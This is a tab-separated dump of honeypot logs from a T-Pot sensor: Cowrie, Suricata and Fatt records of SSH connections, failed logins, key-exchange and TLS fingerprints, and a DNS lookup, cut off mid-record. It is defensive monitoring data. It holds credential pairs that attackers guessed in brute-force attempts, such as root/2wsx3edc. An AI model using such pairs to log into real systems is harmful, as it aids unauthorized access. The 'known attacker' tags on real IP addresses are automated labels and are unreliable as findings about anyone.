29320	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:25:06.1082+03	2021-09-20 14:30:03.977523+03	{"_id": "1AbzAnwBvYTbRNuE0zQw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2wsx3edc] failed", "session": "c93154576def", "@version": "1", "password": "2wsx3edc", "username": "root", "timestamp": "2021-09-20T11:25:06.108200Z", "@timestamp": "2021-09-20T11:25:06.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29321	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:24:53.14629+03	2021-09-20 14:30:03.978523+03	{"_id": "qwbzAnwBvYTbRNuEojQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:24:53.052876+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 93990787862156, "payload": "AAADzAYUaJ96vkbXtfUc3RXw9gq6+AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55375, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:24:53.146290Z", "@timestamp": "2021-09-20T11:24:53.146Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......h.z.F........\\n.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29322	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:53.102843+03	2021-09-20 14:30:03.980523+03	{"_id": "rAbzAnwBvYTbRNuEozRF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55375, "timestamp": "2021-09-20T11:24:53.102843", "@timestamp": "2021-09-20T11:24:53.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29323	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:24:53.146854+03	2021-09-20 14:30:03.981524+03	{"_id": "swbzAnwBvYTbRNuEpDRJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a21cecccc64f", "@version": "1", "timestamp": "2021-09-20T11:24:53.146854Z", "@timestamp": "2021-09-20T11:24:53.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29324	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:24:54.493784+03	2021-09-20 14:30:03.982525+03	{"_id": "tQbzAnwBvYTbRNuEqDQy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a21cecccc64f", "@version": "1", "duration": 1.3923139572143555, "timestamp": "2021-09-20T11:24:54.493784Z", "@timestamp": "2021-09-20T11:24:54.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29325	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:24:46.59871+03	2021-09-20 14:30:03.983525+03	{"_id": "kgbzAnwBvYTbRNuEiDTt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "76b3faf76ac4", "@version": "1", "duration": 2.7168569564819336, "timestamp": "2021-09-20T11:24:46.598710Z", "@timestamp": "2021-09-20T11:24:46.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29327	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:24:47.187257+03	2021-09-20 14:30:03.986524+03	{"_id": "lgbzAnwBvYTbRNuEijSh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23230, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1159, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 218031590463361, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60562, "timestamp": "2021-09-20T11:24:47.187257Z", "@timestamp": "2021-09-20T11:24:47.187Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29328	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:24:47.275987+03	2021-09-20 14:30:03.988523+03	{"_id": "mQbzAnwBvYTbRNuEizTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35170, "timestamp": "2021-09-20T11:24:47.275987", "@timestamp": "2021-09-20T11:24:47.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29329	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:47.591503+03	2021-09-20 14:30:03.989524+03	{"_id": "mgbzAnwBvYTbRNuEizTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35172, "dest_port": 443, "timestamp": "2021-09-20T11:24:47.591503", "@timestamp": "2021-09-20T11:24:47.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29330	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:24:47.631377+03	2021-09-20 14:30:03.990523+03	{"_id": "mwbzAnwBvYTbRNuEizTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35172, "timestamp": "2021-09-20T11:24:47.631377", "@timestamp": "2021-09-20T11:24:47.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29331	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:24:53.098695+03	2021-09-20 14:30:03.991524+03	{"_id": "pwbzAnwBvYTbRNuEoDRh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:55375 (192.168.176.2:22) [session: a21cecccc64f]", "session": "a21cecccc64f", "@version": "1", "protocol": "ssh", "src_port": 55375, "dest_port": 22, "timestamp": "2021-09-20T11:24:53.098695Z", "@timestamp": "2021-09-20T11:24:53.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29332	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:24:53.101751+03	2021-09-20 14:30:03.993523+03	{"_id": "qAbzAnwBvYTbRNuEoDRh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a21cecccc64f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:24:53.101751Z", "@timestamp": "2021-09-20T11:24:53.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29333	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:24:53.146201+03	2021-09-20 14:30:03.994524+03	{"_id": "qgbzAnwBvYTbRNuEojQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 93990787862156, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55375, "dest_port": 22, "timestamp": "2021-09-20T11:24:53.146201Z", "@timestamp": "2021-09-20T11:24:53.146Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29334	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:24:53.14629+03	2021-09-20 14:30:03.995524+03	{"_id": "rQbzAnwBvYTbRNuEozRF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55375, "dest_port": 22, "timestamp": "2021-09-20T11:24:53.146290", "@timestamp": "2021-09-20T11:24:53.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29335	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:24:53.442793+03	2021-09-20 14:30:03.996525+03	{"_id": "tAbzAnwBvYTbRNuEpDRJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [git/qazwsx] failed", "session": "a21cecccc64f", "@version": "1", "password": "qazwsx", "username": "git", "timestamp": "2021-09-20T11:24:53.442793Z", "@timestamp": "2021-09-20T11:24:53.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29336	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:25:01.470784+03	2021-09-20 14:30:03.998525+03	{"_id": "wAbzAnwBvYTbRNuEwzSN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:37387 (192.168.176.2:22) [session: c93154576def]", "session": "c93154576def", "@version": "1", "protocol": "ssh", "src_port": 37387, "dest_port": 22, "timestamp": "2021-09-20T11:25:01.470784Z", "@timestamp": "2021-09-20T11:25:01.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 